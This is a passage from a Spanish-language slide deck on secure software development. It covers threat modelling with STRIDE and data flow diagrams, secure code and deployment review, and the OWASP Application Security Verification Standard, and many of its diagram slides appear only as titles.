(Etapa de desarrollo: Requerimiento y análisis)
• “Software security” es construir software seguro
que funcione como es esperado a través de todo
su ciclo de vida. (Diferente a “security software”)
• El modelado de amenazas es parte integral del
ciclo de desarrollo seguro de una aplicación.
• Cuando desarrolla o actualiza un sistema, debe
considerar cómo un intruso puede atacarlo y
cómo construir las defensas apropiadas en los
estadios de diseño e implementación del mismo.
107
Modelado de amenazas
• Existen muchos abordajes
• No existe una forma bien establecida para
medirla calidad de un modelo de amenazas.
• Aun en el campo más maduro, como por
ejemplo el de criptografía, muchos
algoritmos/programas populares aun no han
probado ser seguros (HeartBleed – bug de
OpenSSL - CVE-2014-0160).
108
Modelado de amenazas
• Es una técnica de ingeniería que se utiliza para
identificar amenazas, ataques, vulnerabilidades y
contramedidas
• Ayuda a:
– Reconocer los objetivos de seguridad
– Amenazas relevantes
– Vulnerabilidades y contramedidas
• Es realizado para identificar cuando y donde se
requieren más recursos para reducir los riesgos.
• Se realiza usualmente en la fase de diseño de un
sistema y se retroalimenta de otras fases.
109
Modelado de amenazas – proceso iterativo
110
Modelado de amenazas en el
ciclo de vida de un SW
• En el modelo SDL de MS
111
Utilizando STRIDE
Amenaza
Componente de
seguridad
Spoofing
Falsificación de identidad
Autenticación
Tampering
Modificación de dato o código
Integridad
Repudiation
Negar que se ha realizado una acción
No Repudio
Information disclosure
Exponer información no autorizada a verla
Confidencialidad
Denial of service
Denegar o degradar el servicio a los usuarios
Disponibilidad
Elevation of privilege
Ganar capacidades sin la debida autorización
Autorización
112
Modelado de amenazas
• Forma parte del SDL (Security Development Lifecycle)
• En el modelo de amenazas utilizando STRIDE, se
descompone el sistema en componentes
relevantes, se analiza cada componente por
susceptibilidad a las amenazas y se mitiga las
mismas.
• Este proceso se repite hasta que uno se
encuentre confortable con las amenazas que
restan.
• Si hace esto puede argumentar que su sistema es
seguro.
113
El proceso de modelado con STRIDE
114
El proceso de modelado con STRIDE
• Diagrama: se utiliza DFD (Data Flow Diagram –
Diagrama de Flujo de Datos) aunque se puede
utilizar cualquier otro para representar el
diseño del sistema.
115
Elementos del DFD
116
DFD
• Puede hacerse en varios niveles
• Diagrama de contexto.
– Alto nivel, el producto/sistema completo
• Nivel 1
– Alto nivel con los principales componentes
• Nivel 2
– Bajo nivel con detalle de subcomponentes
• Nivel 3
– Mucho más detallado, solo para grandes proyectos
117
Ejemplo (diagrama de contexto)
118
Ejemplo (Diagrama de nivel 1)
119
DFD
• Análisis o Síntesis
– TopDown
• Comienza del contexto
• Se focaliza en el sistema como un todo
– Bottom up
• Se conoce en detalle las características
• Se comienza desde abajo
• Abordaje no es conveniente para la síntesis
120
Reglas básicas
• Los datos no aparecen mágicamente, los datos
vienen de un DataStore o de una entidad externa.
• Los datos no mueren en un DataStore, se indica
un DataStore por alguna razón.
• Los datos no fluyen mágicamente entre los
DataStores, debe existir un proceso entre ellos.
• No reensamble de diagrama de clases o grafos de
llamadas.
121
Amenazas por cada elemento del sistema
(Identificando amenazas)
122
Mitigación: algunas mitigaciones estándar
123
Validación
• Validar todo el modelo
– ¿Coincide con el código final?
– ¿Son todas las amenazas enumeradas?
– Mínimo: STRIDE de cada elemento que toca la línea de
confianza
– ¿Esta cada amenaza mitigada?
– ¿Son las mitigaciones correctas?
• Validar la información capturada
– Qué otro código utiliza? Que funciones de seguridad
esta en otro código? Esta seguro?
124
Modelado de amenazas (conclusiones)
• Es una actividad estructurada que permite
identificar y evaluar amenazas y vulnerabilidades.
• Debe empezar temprano con el diseño
arquitectónico del sistema
• Debe ser refinado en la etapa de implementación
• Debe coincidir plenamente con el diseño de los
objetivos de seguridad
• Debe ayudar a ponderar contra otros aspectos de
diseño como el rendimiento.
125
Otros abordajes de modelado de amenazas
• OWASP (https://www.owasp.org/index.php/Threat_Risk_Modeling)
• Trike (http://www.octotrike.org/home.shtml)
• OCTAVE (CERT) (SEI - Carnegie Mellon University
) (http://www.cert.org/resilience/products-services/octave/octavemethod.cfm)
126
d) Diseño arquitectónico seguro
(Etapa de desarrollo: Requerimiento y análisis)
127
Consideraciones de despliegue e infraestructura
128
Arquitectura de la aplicación y consideración de diseño
129
e) Revisión de Código seguro & Testing
(Etapa de desarrollo: Desarrollo & Testing)
– 1: establecer metas y restricciones
de la revisión
– 2: usar análisis estático para
encontrar un conjunto inicial de
vulnerabilidades
– 3: revisión de código buscando
vulnerabilidades comunes guiados
por el paso 2
– 4: revisar mecanismos únicos de
seguridad en la arquitectura
– Técnicas de revisión:
• ControFlow
• DataFlow
130
Lista de preguntas para revisar el código
131
Lista de preguntas para revisar el código(2)
132
f) Revisión de Despliegue seguro
(Etapa de desarrollo: Despliegue)
• Categorías de configuración de un servidor
133
Revisión de despliegue seguro
Categorías de aseguramiento del servidor
134
Revisión de despliegue seguro
Categorías de aseguramiento del servidor(2)
135
Application Security Verification
Standard (OWASP)
• Permite verificar punto a punto cuestiones de
seguridad en una aplicación web.
• Define 4 niveles de verificación:
– Cursory(0): la aplicación ha pasado cierto tipo de verificación
– Opportunistic(1): la aplicación posee defensas contra vulnerabilidades fáciles
de descubrir
– Standard(2): posee defensas contra vulnerabilidades prevalentes con riesgo
moderado a serio
– Advanced(3): posee defensas contra todas la vulnerabilidades y demuestra
principios de buen diseño
• Define áreas de requerimiento de seguridad:
Autenticación, Manejo de sesiones, Control de acceso, Manejo de
entrada maliciosa, Criptografía, Manejo de errores y logging,
Protección de datos, Comunicación, HTTP, Logica del negocio,
Controles maliciosos, Archivos, y recursos, Moviles
136
Application Security Verification
Standard (OWASP)
• Ejemplo de las verificaciones
137
Conclusiones
• El software para web tiene muchos elementos que deben
ser considerados, no debe obviar ninguno.
• El software debe ser construido seguro desde el principio.
Para ello debe apoyarse en alguna metodología.
• Aprender de los errores es importante y también lo es de
otras experiencias.
• Estar al tanto con las vulnerabilidades es imperativo
(especialmente de software de terceras partes que se
utiliza).
• Utilizar herramientas automatizadas y/o
semi-automatizadas para detectar y corregir errores es
parte del trabajo de seguridad.
138
Obrigado pela atenção
¿Perguntas?
139